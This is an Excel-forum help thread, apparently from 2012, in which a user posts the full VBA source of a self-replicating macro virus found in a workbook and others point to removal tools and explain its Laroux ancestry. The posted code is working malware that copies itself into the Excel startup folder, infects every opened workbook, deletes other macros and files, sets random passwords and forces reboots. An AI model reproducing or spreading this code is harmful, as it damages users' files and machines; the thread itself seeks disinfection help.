SOS: 發出錯Office宏病毒，求大家協助解決

rayxp

Excel文件中發現未知代碼（SPECS），刪除後保存，再開又出現，Excel不正常了，代碼如下：
Sub auto_open()
On Error Resume Next
Application.EnableEvents = False
    For Each kil In Workbooks
    If kil.Name <> "SPECS.xls" And kil.Path = Application.StartupPath Then
    fn = kil.FullName
    kil.Close (False)
    Kill (fn)
    End If
    Next
Application.EnableEvents = True
Randomize
If ThisWorkbook.Path <> Application.StartupPath Then
    If Dir(Application.StartupPath & "\SPECS.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets(1).Copy
    nam = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks(nam).SaveAs (Application.StartupPath & "\SPECS.xls")
    End If
If Rnd() < 0.01 Then ThisWorkbook.Password = "joker"
Else
'att
If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
End If
Application.OnWindow = "cop"
Application.OnSheetActivate = "cop"
End Sub
Sub cop()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each mo In ActiveWorkbook.Modules
If mo.Name <> "SPECS" Then mo.Delete
Next
If ActiveWorkbook.Sheets(1).Name <> "SPECS" Then
ThisWorkbook.Sheets(1).Copy ActiveWorkbook.Sheets(1)
If ActiveWorkbook.Path <> "" Then ActiveWorkbook.Save
End If
Application.OnSheetActivate = "cop"
End Sub
Sub auto_close()
If Rnd() < 0.01 Then Shell ("shutdown -r -f -t 00")
End Sub

baoshaobo000

我的手上有专杀该宏病毒的软件,杀完后把宏安全设置成高就可以了
我也是在网上下的,不知道传上来违法不,请作者见谅

goodlong

参考我这个贴3楼的回复地址：
http://club.excelhome.net/forum. ... p;page=1#pid5712744

LangQueS

参考：

StartUp.xls 宏病毒专杀&免疫工具        http://club.excelhome.net/thread-729460-1-1.html

[转帖] XF.Sic.gen病毒清除(EXCEL宏病毒)BOOK1         http://club.excelhome.net/forum.php?mod=viewthread&tid=688647

利用Excel插件做宏病毒监控V2.62        http://club.excelhome.net/thread-752823-1-1.html

自编VB删除宏病毒RESULTS的东东        http://club.excelhome.net/thread-831683-1-1.html

kangatang

这个laroux的后代越来越恶作剧了，shutdown -r -f -t 00 强制关机了。
靠Sheets(1).Copy 就可以复制病毒自己。

laroux老祖宗，EXCEL上出现的第一个宏病毒，延续到如今。
一直被模仿，从未被超越。

那张神秘的sheet(1)，到底是什么啊。。。。。
它是 document module和std module的神秘结合体。

rayxp

baoshaobo000 发表于 2012-3-7 11:58
我的手上有专杀该宏病毒的软件,杀完后把宏安全设置成高就可以了
我也是在网上下的,不知道传上来违法不,请作 ...

宏安全设置成高好像不能运行函数了

rayxp

LangQueS 发表于 2012-3-7 12:03
参考：

StartUp.xls 宏病毒专杀&免疫工具        http://club.excelhome.net/thread-729460-1-1.html

我估计可能是第一个：Startup

rayxp

goodlong 发表于 2012-3-7 12:02
参考我这个贴3楼的回复地址：
http://club.excelhome.net/forum.php?mod=viewthread&tid=835276&page=1#pi ...

这个我刚刚下载了，用什么方式？双引擎？会不会将里面有用的宏和VBA删掉？

goodlong

rayxp 发表于 2012-3-7 12:57
这个我刚刚下载了，用什么方式？双引擎？会不会将里面有用的宏和VBA删掉？

你要不放心就选择自定义扫描

kangatang

kangatang 发表于 2012-3-7 12:09
这个laroux的后代越来越恶作剧了，shutdown -r -f -t 00 强制关机了。
靠Sheets(1).Copy 就可以复制病毒自 ...

Laroux，揭开你的面纱
http://club.excelhome.net/forum. ... d=836323&extra=